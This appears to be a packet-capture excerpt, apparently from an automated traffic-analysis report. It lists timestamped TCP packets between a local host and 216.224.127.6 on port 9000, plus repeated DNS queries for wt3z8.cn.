Jul 25, 2024 13:23:57.784527063 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.786205053 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.786248922 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.786256075 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.786273956 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.786309004 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.786358118 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.786370039 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.786390066 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.786406040 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.786412001 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.786437988 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.788343906 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.788360119 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.788383007 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.788398027 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.788446903 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.788459063 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.788477898 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.788499117 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.788516998 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.788536072 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.788589001 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.788609982 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.788625002 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.788631916 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.788645983 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.788664103 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.788671970 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.788686991 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.788701057 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.788707018 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.788743973 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.789058924 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.789119959 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.789129972 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.789156914 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.789244890 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.789256096 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.789275885 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.789288998 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.789300919 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.789309025 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.789323092 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.789364100 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.789380074 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.789463043 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.789474964 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.789494038 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.789500952 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.789516926 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.789530039 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.789540052 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.789571047 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.791879892 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.791910887 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.791928053 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.791939020 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.791954994 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.791970015 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.791984081 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.791989088 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.792038918 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.792186022 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.813271999 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.813358068 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.813397884 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.813438892 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.813489914 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.813513994 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.813558102 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.813606977 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.813618898 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.813659906 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.813699961 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.813718081 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.813761950 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.813810110 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.813822985 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.813862085 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.813910007 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.813935995 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.813977957 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.814018965 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.814040899 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.814076900 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.814119101 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.814142942 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.816073895 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.816113949 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.816154003 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.866370916 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.905831099 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.905852079 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.905878067 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.905920029 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.906008005 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.906058073 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.906189919 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.906199932 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.906240940 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.906325102 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.906335115 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.906352043 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.906371117 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.906814098 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.906826019 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.906846046 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.906868935 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.906893969 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.906945944 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.906956911 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.906976938 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.906991005 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.907032967 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.907061100 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.907072067 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.907094002 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.907227039 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.911495924 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.911530018 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.911545992 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.911556959 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.911580086 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.911593914 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.911626101 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.911655903 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.914916992 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.914980888 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.914993048 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.915062904 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.915633917 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.915646076 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.915733099 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.915961027 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.916014910 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.916021109 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.916033030 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.916073084 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.916204929 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.916215897 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.916238070 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.916253090 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.916263103 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.916290045 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.916302919 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.920140982 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.920191050 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.920224905 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.920258999 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.920386076 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.920403004 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.920533895 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.920587063 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.920600891 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.921058893 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921118975 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921133041 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.921195984 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921245098 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.921261072 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921310902 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921354055 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.921375036 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921416044 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921464920 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.921504974 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921552896 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921602964 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921626091 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.921680927 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921731949 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.921787024 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921834946 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921880007 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.921899080 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921931028 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921956062 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.921976089 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.922034025 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.922081947 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.922100067 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.922156096 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.922203064 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.922223091 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.922266960 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.922310114 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.922331095 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.922378063 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.922425032 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.922441959 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.922496080 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.922548056 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.922560930 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.922606945 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.922652960 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.922672033 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.922718048 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.922763109 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.922781944 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.931462049 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.931534052 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.931569099 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.931633949 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.931688070 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.931715012 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.931777954 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.931823969 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.931870937 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.931912899 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.931957006 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.931957006 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.932012081 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.932065010 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.932081938 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.932128906 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.932176113 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.932193041 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.932239056 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.932291985 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.932307959 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.932353973 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.932404995 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.932423115 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.932471991 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.932518959 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.932650089 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.932712078 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.932744026 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.932784081 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.932807922 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.932857037 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.932899952 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.947348118 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947390079 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947403908 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947412968 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.947447062 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.947484970 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947496891 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947519064 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947530031 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947540045 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.947561026 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.947730064 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947741032 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947758913 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947776079 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.947786093 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947799921 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947817087 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947825909 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947837114 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.947853088 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.947860956 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.947892904 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.950112104 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.950123072 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.950143099 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.950155020 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.950172901 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.950225115 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.950247049 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.950259924 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.950275898 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.950299978 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.991290092 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.002084970 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002130985 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002146006 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002171040 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002181053 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002199888 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.002214909 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002252102 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002280951 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.002455950 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002495050 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002505064 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.002517939 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002557993 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.002578974 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002589941 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002608061 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002625942 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.002630949 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002687931 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.002734900 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002748966 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002768993 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002783060 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002789021 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.002821922 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.002913952 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002973080 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.002985001 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.003010988 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.003041029 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.003082037 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.006525040 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.006565094 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.006577015 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.006607056 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.006652117 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.006663084 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.006683111 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.006696939 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.006705046 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.006719112 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.006727934 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.006762028 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.006880999 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.006891966 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.006910086 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.006920099 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:58.006932020 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:58.006943941 CEST	9000	49722	216.224.127.6	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 25, 2024 13:23:18.860445976 CEST	192.168.2.6	1.1.1.1	0xd764	Standard query (0)	wt3z8.cn	A (IP address)	IN (0x0001)	false
Jul 25, 2024 13:23:19.867533922 CEST	192.168.2.6	1.1.1.1	0xd764	Standard query (0)	wt3z8.cn	A (IP address)	IN (0x0001)	false
Jul 25, 2024 13:23:24.981839895 CEST	192.168.2.6	1.1.1.1	0xffe	Standard query (0)	wt3z8.cn	A (IP address)	IN (0x0001)	false
Jul 25, 2024 13:23:25.975922108 CEST	192.168.2.6	1.1.1.1	0xffe	Standard query (0)	wt3z8.cn	A (IP address)	IN (0x0001)	false
